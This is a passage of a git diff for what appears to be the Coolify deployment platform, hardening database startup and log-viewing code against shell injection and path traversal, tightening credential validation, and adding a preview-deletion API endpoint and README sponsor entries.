diff --git a/README.md b/README.md index 9a5feff4e..7a3f2a65e 100644 --- a/README.md +++ b/README.md @@ -60,7 +60,7 @@ ### Huge Sponsors * [MVPS](https://www.mvps.net?ref=coolify.io) - Cheap VPS servers at the highest possible quality * [SerpAPI](https://serpapi.com?ref=coolify.io) - Google Search API — Scrape Google and other search engines from our fast, easy, and complete API * [ScreenshotOne](https://screenshotone.com?ref=coolify.io) - Screenshot API for devs -* +* [PrivateAlps](https://privatealps.net?ref=coolify.io) - Cloud Services Provider, VPS, servers Infrastructure for people who care about privacy and control ### Big Sponsors @@ -151,6 +151,10 @@ ### Small Sponsors Cap-go InterviewPal Transcript LOL +YouStable +MindedTech +NetRouting +ParsecPH ...and many more at [GitHub Sponsors](https://github.com/sponsors/coollabsio) diff --git a/app/Actions/Database/StartClickhouse.php b/app/Actions/Database/StartClickhouse.php index 393906b9b..30cae71f1 100644 --- a/app/Actions/Database/StartClickhouse.php +++ b/app/Actions/Database/StartClickhouse.php @@ -51,7 +51,7 @@ public function handle(StandaloneClickhouse $database) ], 'labels' => defaultDatabaseLabels($this->database)->toArray(), 'healthcheck' => [ - 'test' => "clickhouse-client --user {$this->database->clickhouse_admin_user} --password {$this->database->clickhouse_admin_password} --query 'SELECT 1'", + 'test' => ['CMD', 'clickhouse-client', '--user', (string) $this->database->clickhouse_admin_user, '--password', (string) $this->database->clickhouse_admin_password, '--query', 'SELECT 1'], 'interval' => '5s', 'timeout' => '5s', 'retries' => 10, diff --git a/app/Actions/Database/StartDragonfly.php b/app/Actions/Database/StartDragonfly.php index cd820523d..addc30be4 100644 --- a/app/Actions/Database/StartDragonfly.php +++ b/app/Actions/Database/StartDragonfly.php @@ -107,7 +107,7 @@ public function handle(StandaloneDragonfly $database) ], 'labels' => defaultDatabaseLabels($this->database)->toArray(), 'healthcheck' => [ - 'test' => "redis-cli -a {$this->database->dragonfly_password} ping", + 'test' => ['CMD', 'redis-cli', '-a', (string) $this->database->dragonfly_password, 'ping'], 'interval' => '5s', 'timeout' => '5s', 'retries' => 10, diff --git a/app/Actions/Database/StartKeydb.php b/app/Actions/Database/StartKeydb.php index fe80a7d54..e59d6f697 100644 --- a/app/Actions/Database/StartKeydb.php +++ b/app/Actions/Database/StartKeydb.php @@ -109,7 +109,7 @@ public function handle(StandaloneKeydb $database) ], 'labels' => defaultDatabaseLabels($this->database)->toArray(), 'healthcheck' => [ - 'test' => "keydb-cli --pass {$this->database->keydb_password} ping", + 'test' => ['CMD', 'keydb-cli', '--pass', (string) $this->database->keydb_password, 'ping'], 'interval' => '5s', 'timeout' => '5s', 'retries' => 10, @@ -166,7 +166,7 @@ public function handle(StandaloneKeydb $database) $docker_compose['volumes'] = $volume_names; } - if (! is_null($this->database->keydb_conf) || ! empty($this->database->keydb_conf)) { + if (! is_null($this->database->keydb_conf) && ! empty($this->database->keydb_conf)) { $docker_compose['services'][$container_name]['volumes'] = array_merge( $docker_compose['services'][$container_name]['volumes'] ?? [], [ diff --git a/app/Actions/Database/StartMariadb.php b/app/Actions/Database/StartMariadb.php index 498ba0b0b..ceb1e8b85 100644 --- a/app/Actions/Database/StartMariadb.php +++ b/app/Actions/Database/StartMariadb.php @@ -175,7 +175,7 @@ public function handle(StandaloneMariadb $database) ); } - if (! is_null($this->database->mariadb_conf) || ! empty($this->database->mariadb_conf)) { + if (! is_null($this->database->mariadb_conf) && ! empty($this->database->mariadb_conf)) { $docker_compose['services'][$container_name]['volumes'] = array_merge( $docker_compose['services'][$container_name]['volumes'], [ diff --git a/app/Actions/Database/StartMongodb.php b/app/Actions/Database/StartMongodb.php index 9565990c1..c79789718 100644 --- a/app/Actions/Database/StartMongodb.php +++ b/app/Actions/Database/StartMongodb.php @@ -340,7 +340,10 @@ private function add_custom_mongo_conf() private function add_default_database() { - $content = "db = db.getSiblingDB(\"{$this->database->mongo_initdb_database}\");db.createCollection('init_collection');db.createUser({user: \"{$this->database->mongo_initdb_root_username}\", pwd: \"{$this->database->mongo_initdb_root_password}\",roles: [{role:\"readWrite\",db:\"{$this->database->mongo_initdb_database}\"}]});"; + $dbJson = json_encode($this->database->mongo_initdb_database, JSON_UNESCAPED_SLASHES); + $userJson = json_encode($this->database->mongo_initdb_root_username, JSON_UNESCAPED_SLASHES); + $pwdJson = json_encode($this->database->mongo_initdb_root_password, JSON_UNESCAPED_SLASHES); + $content = "db = db.getSiblingDB({$dbJson});db.createCollection('init_collection');db.createUser({user: {$userJson}, pwd: {$pwdJson}, roles: [{role:\"readWrite\",db:{$dbJson}}]});"; $content_base64 = base64_encode($content); $this->commands[] = "mkdir -p $this->configuration_dir/docker-entrypoint-initdb.d"; $this->commands[] = "echo '{$content_base64}' | base64 -d | tee $this->configuration_dir/docker-entrypoint-initdb.d/01-default-database.js > /dev/null"; diff --git a/app/Actions/Database/StartMysql.php b/app/Actions/Database/StartMysql.php index 337516405..0394d50b6 100644 --- a/app/Actions/Database/StartMysql.php +++ b/app/Actions/Database/StartMysql.php @@ -175,7 +175,7 @@ public function handle(StandaloneMysql $database) ); } - if (! is_null($this->database->mysql_conf) || ! empty($this->database->mysql_conf)) { + if (! is_null($this->database->mysql_conf) && ! empty($this->database->mysql_conf)) { $docker_compose['services'][$container_name]['volumes'] = array_merge( $docker_compose['services'][$container_name]['volumes'] ?? [], [ @@ -215,7 +215,8 @@ public function handle(StandaloneMysql $database) $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d"; if ($this->database->enable_ssl) { - $this->commands[] = executeInDocker($this->database->uuid, "chown {$this->database->mysql_user}:{$this->database->mysql_user} /etc/mysql/certs/server.crt /etc/mysql/certs/server.key"); + $mysqlUser = escapeshellarg($this->database->mysql_user); + $this->commands[] = executeInDocker($this->database->uuid, "chown {$mysqlUser}:{$mysqlUser} /etc/mysql/certs/server.crt /etc/mysql/certs/server.key"); } $this->commands[] = "echo 'Database started.'"; diff --git a/app/Actions/Database/StartPostgresql.php b/app/Actions/Database/StartPostgresql.php index 41e39c811..da8b5dc4e 100644 --- a/app/Actions/Database/StartPostgresql.php +++ b/app/Actions/Database/StartPostgresql.php @@ -111,10 +111,7 @@ public function handle(StandalonePostgresql $database) ], 'labels' => defaultDatabaseLabels($this->database)->toArray(), 'healthcheck' => [ - 'test' => [ - 'CMD-SHELL', - "psql -U {$this->database->postgres_user} -d {$this->database->postgres_db} -c 'SELECT 1' || exit 1", - ], + 'test' => ['CMD', 'psql', '-U', (string) $this->database->postgres_user, '-d', (string) $this->database->postgres_db, '-c', 'SELECT 1'], 'interval' => '5s', 'timeout' => '5s', 'retries' => 10, @@ -227,7 +224,8 @@ public function handle(StandalonePostgresql $database) $this->commands[] = "docker rm -f $container_name 2>/dev/null || true"; $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d"; if ($this->database->enable_ssl) { - $this->commands[] = executeInDocker($this->database->uuid, "chown {$this->database->postgres_user}:{$this->database->postgres_user} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt"); + $postgresUser = escapeshellarg($this->database->postgres_user); + $this->commands[] = executeInDocker($this->database->uuid, "chown {$postgresUser}:{$postgresUser} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt"); } $this->commands[] = "echo 'Database started.'"; @@ -304,9 +302,18 @@ private function generate_init_scripts() foreach ($this->database->init_scripts as $init_script) { $filename = data_get($init_script, 'filename'); $content = data_get($init_script, 'content'); + + // Normalise filename without rejecting legacy values so previously created + // init scripts keep deploying. basename() strips any directory components + // (path traversal) and escapeshellarg() contains every shell metacharacter + // in the tee target. Livewire / API validate new filenames up front. + $filename = basename((string) $filename); + + $target_path = "$this->configuration_dir/docker-entrypoint-initdb.d/{$filename}"; + $escaped_target = escapeshellarg($target_path); $content_base64 = base64_encode($content); - $this->commands[] = "echo '{$content_base64}' | base64 -d | tee $this->configuration_dir/docker-entrypoint-initdb.d/{$filename} > /dev/null"; - $this->init_scripts[] = "$this->configuration_dir/docker-entrypoint-initdb.d/{$filename}"; + $this->commands[] = "echo '{$content_base64}' | base64 -d | tee {$escaped_target} > /dev/null"; + $this->init_scripts[] = $target_path; } } diff --git a/app/Actions/Database/StartRedis.php b/app/Actions/Database/StartRedis.php index 70df91054..c31b099e4 100644 --- a/app/Actions/Database/StartRedis.php +++ b/app/Actions/Database/StartRedis.php @@ -181,7 +181,7 @@ public function handle(StandaloneRedis $database) ); } - if (! is_null($this->database->redis_conf) || ! empty($this->database->redis_conf)) { + if (! is_null($this->database->redis_conf) && ! empty($this->database->redis_conf)) { $docker_compose['services'][$container_name]['volumes'][] = [ 'type' => 'bind', 'source' => $this->configuration_dir.'/redis.conf', diff --git a/app/Actions/Server/CleanupDocker.php b/app/Actions/Server/CleanupDocker.php index 135623b1f..33558c746 100644 --- a/app/Actions/Server/CleanupDocker.php +++ b/app/Actions/Server/CleanupDocker.php @@ -48,7 +48,7 @@ public function handle(Server $server, bool $deleteUnusedVolumes = false, bool $ ); $commands = [ - 'docker container prune -f --filter "label=coolify.managed=true" --filter "label!=coolify.proxy=true"', + 'docker container prune -f --filter "label=coolify.managed=true" --filter "label!=coolify.proxy=true" --filter "label!=coolify.type=database" --filter "label!=coolify.type=application" --filter "label!=coolify.type=service"', $imagePruneCmd, 'docker builder prune -af', 'docker buildx prune --builder coolify-railpack -af 2>/dev/null || true', diff --git a/app/Console/Commands/ViewScheduledLogs.php b/app/Console/Commands/ViewScheduledLogs.php index 9ecf90716..b6e9a6121 100644 --- a/app/Console/Commands/ViewScheduledLogs.php +++ b/app/Console/Commands/ViewScheduledLogs.php @@ -28,6 +28,11 @@ class ViewScheduledLogs extends Command public function handle() { $date = $this->option('date') ?: now()->format('Y-m-d'); + if (! preg_match('/^\d{4}-\d{2}-\d{2}$/', $date)) { + $this->error('Invalid date format. Use Y-m-d (e.g. 2025-01-31).'); + + return self::INVALID; + } $logPaths = $this->getLogPaths($date); if (empty($logPaths)) { @@ -49,17 +54,19 @@ public function handle() $this->line(''); if (count($logPaths) === 1) { - $logPath = $logPaths[0]; + $logPath = escapeshellarg($logPaths[0]); if ($filters) { - passthru("tail -f {$logPath} | grep -E '{$filters}'"); + $escapedFilters = escapeshellarg($filters); + passthru("tail -f {$logPath} | grep -E {$escapedFilters}"); } else { passthru("tail -f {$logPath}"); } } else { // Multiple files - use multitail or tail with process substitution - $logPathsStr = implode(' ', $logPaths); + $logPathsStr = implode(' ', array_map('escapeshellarg', $logPaths)); if ($filters) { - passthru("tail -f {$logPathsStr} | grep -E '{$filters}'"); + $escapedFilters = escapeshellarg($filters); + passthru("tail -f {$logPathsStr} | grep -E {$escapedFilters}"); } else { passthru("tail -f {$logPathsStr}"); } @@ -68,20 +75,23 @@ public function handle() $this->info("Showing last {$lines} lines of {$logTypeDescription} logs for {$date}{$filterDescription}:"); $this->line(''); + $escapedLines = escapeshellarg((string) $lines); if (count($logPaths) === 1) { - $logPath = $logPaths[0]; + $logPath = escapeshellarg($logPaths[0]); if ($filters) { - passthru("tail -n {$lines} {$logPath} | grep -E '{$filters}'"); + $escapedFilters = escapeshellarg($filters); + passthru("tail -n {$escapedLines} {$logPath} | grep -E {$escapedFilters}"); } else { - passthru("tail -n {$lines} {$logPath}"); + passthru("tail -n {$escapedLines} {$logPath}"); } } else { // Multiple files - concatenate and sort by timestamp - $logPathsStr = implode(' ', $logPaths); + $logPathsStr = implode(' ', array_map('escapeshellarg', $logPaths)); if ($filters) { - passthru("tail -n {$lines} {$logPathsStr} | sort | grep -E '{$filters}'"); + $escapedFilters = escapeshellarg($filters); + passthru("tail -n {$escapedLines} {$logPathsStr} | sort | grep -E {$escapedFilters}"); } else { - passthru("tail -n {$lines} {$logPathsStr} | sort"); + passthru("tail -n {$escapedLines} {$logPathsStr} | sort"); } } } diff --git a/app/Console/Kernel.php b/app/Console/Kernel.php index c5e12b7ee..75ec31ae0 100644 --- a/app/Console/Kernel.php +++ b/app/Console/Kernel.php @@ -2,6 +2,7 @@ namespace App\Console; +use App\Jobs\ApiTokenExpirationWarningJob; use App\Jobs\CheckForUpdatesJob; use App\Jobs\CheckHelperImageJob; use App\Jobs\CheckTraefikVersionJob; @@ -41,6 +42,8 @@ protected function schedule(Schedule $schedule): void // $this->scheduleInstance->job(new CleanupStaleMultiplexedConnections)->hourly(); $this->scheduleInstance->command('cleanup:redis --clear-locks')->daily(); + $this->scheduleInstance->command('sanctum:prune-expired --hours=1')->hourly()->onOneServer(); + $this->scheduleInstance->job(new ApiTokenExpirationWarningJob)->hourly()->onOneServer(); if (isDev()) { // Instance Jobs diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 8da4f82df..d8834f995 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -2,6 +2,7 @@ namespace App\Http\Controllers\Api; +use App\Actions\Application\CleanupPreviewDeployment; use App\Actions\Application\LoadComposeFile; use App\Actions\Application\StopApplication; use App\Actions\Service\StartService; @@ -9,6 +10,7 @@ use App\Http\Controllers\Controller; use App\Jobs\DeleteResourceJob; use App\Models\Application; +use App\Models\ApplicationPreview; use App\Models\EnvironmentVariable; use App\Models\GithubApp; use App\Models\LocalFileVolume; @@ -1058,7 +1060,7 @@ private function create_application(Request $request, $type) $connectToDockerNetwork = $request->connect_to_docker_network; $customNginxConfiguration = $request->custom_nginx_configuration; $isContainerLabelEscapeEnabled = $request->boolean('is_container_label_escape_enabled', true); - $isPreserveRepositoryEnabled = $request->boolean('is_preserve_repository_enabled',false); + $isPreserveRepositoryEnabled = $request->boolean('is_preserve_repository_enabled', false); if (! is_null($customNginxConfiguration)) { if (! isBase64Encoded($customNginxConfiguration)) { @@ -4119,7 +4121,7 @@ public function update_storage(Request $request): JsonResponse 'is_preview_suffix_enabled' => 'boolean', 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'string', - 'host_path' => 'string|nullable', + 'host_path' => ['string', 'nullable', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN], 'content' => 'string|nullable', ]); @@ -4297,7 +4299,7 @@ public function create_storage(Request $request): JsonResponse 'type' => 'required|string|in:persistent,file', 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'required|string', - 'host_path' => 'string|nullable', + 'host_path' => ['string', 'nullable', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN], 'content' => 'string|nullable', 'is_directory' => 'boolean', 'fs_path' => 'string', @@ -4474,4 +4476,73 @@ public function delete_storage(Request $request): JsonResponse return response()->json(['message' => 'Storage deleted.']); } + + #[OA\Delete( + summary: 'Delete Preview Deployment', + description: 'Delete a preview deployment for a pull request. Cancels active deployments, stops containers, removes volumes/networks, and deletes the preview record.', + path: '/applications/{uuid}/previews/{pull_request_id}', + operationId: 'delete-preview-deployment-by-pull-request-id', + security: [ + ['bearerAuth' => []], + ], + tags: ['Applications'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema(type: 'string') + ), + new OA\Parameter( + name: 'pull_request_id', + in: 'path', + description: 'Pull request ID of the preview to delete.', + required: true, + schema: new OA\Schema(type: 'integer') + ), + ], + responses: [ + new OA\Response(response: 200, description: 'Preview deletion queued.', content: new OA\JsonContent( + properties: [new OA\Property(property: 'message', type: 'string')], + )), + new OA\Response(response: 401, ref: '#/components/responses/401'), + new OA\Response(response: 400, ref: '#/components/responses/400'), + new OA\Response(response: 404, ref: '#/components/responses/404'), + new OA\Response(response: 422, ref: '#/components/responses/422'), + ] + )] + public function delete_preview_by_pull_request_id(Request $request): JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + if (! $application) { + return response()->json(['message' => 'Application not found.'], 404); + } + + $this->authorize('delete', $application); + + $pullRequestIdRaw = $request->route('pull_request_id'); + if (! is_numeric($pullRequestIdRaw) || (int) $pullRequestIdRaw <= 0) { + return response()->json(['message' => 'Invalid pull_request_id.'], 422); + } + $pullRequestId = (int) $pullRequestIdRaw; + + $preview = ApplicationPreview::where('application_id', $application->id) + ->where('pull_request_id', $pullRequestId) + ->first(); + + if (! $preview) { + return response()->json(['message' => 'Preview not found.'], 404); + } + + $preview->delete(); + CleanupPreviewDeployment::run($application, $pullRequestId, $preview); + + return response()->json(['message' => 'Preview deletion request queued.']); + } } diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index 8e31a7051..a6056b9f3 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -379,9 +379,9 @@ public function update_by_uuid(Request $request) case 'standalone-postgresql': $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'postgres_user', 'postgres_password', 'postgres_db', 'postgres_initdb_args', 'postgres_host_auth_method', 'postgres_conf']; $validator = customApiValidator($request->all(), [ - 'postgres_user' => 'string', - 'postgres_password' => 'string', - 'postgres_db' => 'string', + 'postgres_user' => ValidationPatterns::databaseIdentifierRules(required: false), + 'postgres_password' => ValidationPatterns::databasePasswordRules(required: false), + 'postgres_db' => ValidationPatterns::databaseIdentifierRules(required: false), 'postgres_initdb_args' => 'string', 'postgres_host_auth_method' => 'string', 'postgres_conf' => 'string', @@ -410,20 +410,20 @@ public function update_by_uuid(Request $request) case 'standalone-clickhouse': $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'clickhouse_admin_user', 'clickhouse_admin_password']; $validator = customApiValidator($request->all(), [ - 'clickhouse_admin_user' => 'string', - 'clickhouse_admin_password' => 'string', + 'clickhouse_admin_user' => ValidationPatterns::databaseIdentifierRules(required: false), + 'clickhouse_admin_password' => ValidationPatterns::databasePasswordRules(required: false), ]); break; case 'standalone-dragonfly': $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'dragonfly_password']; $validator = customApiValidator($request->all(), [ - 'dragonfly_password' => 'string', + 'dragonfly_password' => ValidationPatterns::databasePasswordRules(required: false), ]); break; case 'standalone-redis': $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'redis_password', 'redis_conf']; $validator = customApiValidator($request->all(), [ - 'redis_password' => 'string', + 'redis_password' => ValidationPatterns::databasePasswordRules(required: false), 'redis_conf' => 'string', ]); if ($request->has('redis_conf')) { @@ -450,7 +450,7 @@ public function update_by_uuid(Request $request) case 'standalone-keydb': $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'keydb_password', 'keydb_conf']; $validator = customApiValidator($request->all(), [ - 'keydb_password' => 'string', + 'keydb_password' => ValidationPatterns::databasePasswordRules(required: false), 'keydb_conf' => 'string', ]); if ($request->has('keydb_conf')) { @@ -478,10 +478,10 @@ public function update_by_uuid(Request $request) $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database']; $validator = customApiValidator($request->all(), [ 'mariadb_conf' => 'string', - 'mariadb_root_password' => 'string', - 'mariadb_user' => 'string', - 'mariadb_password' => 'string', - 'mariadb_database' => 'string', + 'mariadb_root_password' => ValidationPatterns::databasePasswordRules(required: false), + 'mariadb_user' => ValidationPatterns::databaseIdentifierRules(required: false), + 'mariadb_password' => ValidationPatterns::databasePasswordRules(required: false), + 'mariadb_database' => ValidationPatterns::databaseIdentifierRules(required: false), ]); if ($request->has('mariadb_conf')) { if (! isBase64Encoded($request->mariadb_conf)) { @@ -508,9 +508,9 @@ public function update_by_uuid(Request $request) $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database']; $validator = customApiValidator($request->all(), [ 'mongo_conf' => 'string', - 'mongo_initdb_root_username' => 'string', - 'mongo_initdb_root_password' => 'string', - 'mongo_initdb_database' => 'string', + 'mongo_initdb_root_username' => ValidationPatterns::databaseIdentifierRules(required: false), + 'mongo_initdb_root_password' => ValidationPatterns::databasePasswordRules(required: false), + 'mongo_initdb_database' => ValidationPatterns::databaseIdentifierRules(required: false), ]); if ($request->has('mongo_conf')) { if (! isBase64Encoded($request->mongo_conf)) { @@ -537,10 +537,10 @@ public function update_by_uuid(Request $request) case 'standalone-mysql': $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf']; $validator = customApiValidator($request->all(), [ - 'mysql_root_password' => 'string', - 'mysql_password' => 'string', - 'mysql_user' => 'string', - 'mysql_database' => 'string', + 'mysql_root_password' => ValidationPatterns::databasePasswordRules(required: false), + 'mysql_password' => ValidationPatterns::databasePasswordRules(required: false), + 'mysql_user' => ValidationPatterns::databaseIdentifierRules(required: false), + 'mysql_database' => ValidationPatterns::databaseIdentifierRules(required: false), 'mysql_conf' => 'string', ]); if ($request->has('mysql_conf')) { @@ -639,10 +639,10 @@ public function update_by_uuid(Request $request) 'backup_now' => ['type' => 'boolean', 'description' => 'Whether to trigger backup immediately after creation'], 'database_backup_retention_amount_locally' => ['type' => 'integer', 'description' => 'Number of backups to retain locally'], 'database_backup_retention_days_locally' => ['type' => 'integer', 'description' => 'Number of days to retain backups locally'], - 'database_backup_retention_max_storage_locally' => ['type' => 'integer', 'description' => 'Max storage (MB) for local backups'], + 'database_backup_retention_max_storage_locally' => ['type' => 'number', 'description' => 'Max storage (GB) for local backups'], 'database_backup_retention_amount_s3' => ['type' => 'integer', 'description' => 'Number of backups to retain in S3'], 'database_backup_retention_days_s3' => ['type' => 'integer', 'description' => 'Number of days to retain backups in S3'], - 'database_backup_retention_max_storage_s3' => ['type' => 'integer', 'description' => 'Max storage (MB) for S3 backups'], + 'database_backup_retention_max_storage_s3' => ['type' => 'number', 'description' => 'Max storage (GB) for S3 backups'], 'timeout' => ['type' => 'integer', 'description' => 'Backup job timeout in seconds (min: 60, max: 36000)', 'default' => 3600], ], ), @@ -703,10 +703,10 @@ public function create_backup(Request $request) 'databases_to_backup' => 'string|nullable', 'database_backup_retention_amount_locally' => 'integer|min:0', 'database_backup_retention_days_locally' => 'integer|min:0', - 'database_backup_retention_max_storage_locally' => 'integer|min:0', + 'database_backup_retention_max_storage_locally' => 'numeric|min:0', 'database_backup_retention_amount_s3' => 'integer|min:0', 'database_backup_retention_days_s3' => 'integer|min:0', - 'database_backup_retention_max_storage_s3' => 'integer|min:0', + 'database_backup_retention_max_storage_s3' => 'numeric|min:0', 'timeout' => 'integer|min:60|max:36000', ]); @@ -747,7 +747,7 @@ public function create_backup(Request $request) } if ($request->filled('s3_storage_uuid')) { - $existsInTeam = S3Storage::ownedByCurrentTeam()->where('uuid', $request->s3_storage_uuid)->exists(); + $existsInTeam = S3Storage::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->s3_storage_uuid)->exists(); if (! $existsInTeam) { return response()->json([ 'message' => 'Validation failed.', @@ -774,7 +774,7 @@ public function create_backup(Request $request) // Convert s3_storage_uuid to s3_storage_id if (isset($backupData['s3_storage_uuid'])) { - $s3Storage = S3Storage::ownedByCurrentTeam()->where('uuid', $backupData['s3_storage_uuid'])->first(); + $s3Storage = S3Storage::ownedByCurrentTeamAPI($teamId)->where('uuid', $backupData['s3_storage_uuid'])->first(); if ($s3Storage) { $backupData['s3_storage_id'] = $s3Storage->id; } elseif ($request->boolean('save_s3')) { @@ -878,10 +878,10 @@ public function create_backup(Request $request) 'frequency' => ['type' => 'string', 'description' => 'Frequency of the backup'], 'database_backup_retention_amount_locally' => ['type' => 'integer', 'description' => 'Retention amount of the backup locally'], 'database_backup_retention_days_locally' => ['type' => 'integer', 'description' => 'Retention days of the backup locally'], - 'database_backup_retention_max_storage_locally' => ['type' => 'integer', 'description' => 'Max storage of the backup locally'], + 'database_backup_retention_max_storage_locally' => ['type' => 'number', 'description' => 'Max storage of the backup locally'], 'database_backup_retention_amount_s3' => ['type' => 'integer', 'description' => 'Retention amount of the backup in s3'], 'database_backup_retention_days_s3' => ['type' => 'integer', 'description' => 'Retention days of the backup in s3'], - 'database_backup_retention_max_storage_s3' => ['type' => 'integer', 'description' => 'Max storage of the backup in S3'], + 'database_backup_retention_max_storage_s3' => ['type' => 'number', 'description' => 'Max storage of the backup in S3'], 'timeout' => ['type' => 'integer', 'description' => 'Backup job timeout in seconds (min: 60, max: 36000)', 'default' => 3600], ], ), @@ -933,10 +933,10 @@ public function update_backup(Request $request) 'frequency' => 'string', 'database_backup_retention_amount_locally' => 'integer|min:0', 'database_backup_retention_days_locally' => 'integer|min:0', - 'database_backup_retention_max_storage_locally' => 'integer|min:0', + 'database_backup_retention_max_storage_locally' => 'numeric|min:0', 'database_backup_retention_amount_s3' => 'integer|min:0', 'database_backup_retention_days_s3' => 'integer|min:0', - 'database_backup_retention_max_storage_s3' => 'integer|min:0', + 'database_backup_retention_max_storage_s3' => 'numeric|min:0', 'timeout' => 'integer|min:60|max:36000', ]); if ($validator->fails()) { @@ -982,7 +982,7 @@ public function update_backup(Request $request) ], 422); } if ($request->filled('s3_storage_uuid')) { - $existsInTeam = S3Storage::ownedByCurrentTeam()->where('uuid', $request->s3_storage_uuid)->exists(); + $existsInTeam = S3Storage::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->s3_storage_uuid)->exists(); if (! $existsInTeam) { return response()->json([ 'message' => 'Validation failed.', @@ -1015,7 +1015,7 @@ public function update_backup(Request $request) // Convert s3_storage_uuid to s3_storage_id if (isset($backupData['s3_storage_uuid'])) { - $s3Storage = S3Storage::ownedByCurrentTeam()->where('uuid', $backupData['s3_storage_uuid'])->first(); + $s3Storage = S3Storage::ownedByCurrentTeamAPI($teamId)->where('uuid', $backupData['s3_storage_uuid'])->first(); if ($s3Storage) { $backupData['s3_storage_id'] = $s3Storage->id; } elseif ($request->boolean('save_s3')) { @@ -1724,9 +1724,9 @@ public function create_database(Request $request, NewDatabaseTypes $type) if ($type === NewDatabaseTypes::POSTGRESQL) { $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'postgres_user', 'postgres_password', 'postgres_db', 'postgres_initdb_args', 'postgres_host_auth_method', 'postgres_conf']; $validator = customApiValidator($request->all(), [ - 'postgres_user' => 'string', - 'postgres_password' => 'string', - 'postgres_db' => 'string', + 'postgres_user' => ValidationPatterns::databaseIdentifierRules(required: false), + 'postgres_password' => ValidationPatterns::databasePasswordRules(required: false), + 'postgres_db' => ValidationPatterns::databaseIdentifierRules(required: false), 'postgres_initdb_args' => 'string', 'postgres_host_auth_method' => 'string', 'postgres_conf' => 'string', @@ -1766,7 +1766,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('postgres_conf', $postgresConf); } - $database = create_standalone_postgresql($environment->id, $destination->uuid, $request->only($allowedFields)); + $database = create_standalone_postgresql($environment->id, $destination, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1783,8 +1783,11 @@ public function create_database(Request $request, NewDatabaseTypes $type) } elseif ($type === NewDatabaseTypes::MARIADB) { $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database']; $validator = customApiValidator($request->all(), [ - 'clickhouse_admin_user' => 'string', - 'clickhouse_admin_password' => 'string', + 'mariadb_conf' => 'string', + 'mariadb_root_password' => ValidationPatterns::databasePasswordRules(required: false), + 'mariadb_user' => ValidationPatterns::databaseIdentifierRules(required: false), + 'mariadb_password' => ValidationPatterns::databasePasswordRules(required: false), + 'mariadb_database' => 